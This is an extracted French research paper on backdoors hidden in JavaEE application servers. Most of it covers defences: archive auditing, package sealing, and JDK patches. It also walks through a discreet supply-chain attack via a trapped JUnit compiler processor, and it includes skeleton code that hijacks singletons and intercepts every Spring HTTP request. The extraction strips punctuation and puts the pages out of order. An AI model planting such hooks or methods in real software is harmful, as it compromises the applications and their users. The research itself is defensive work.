Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

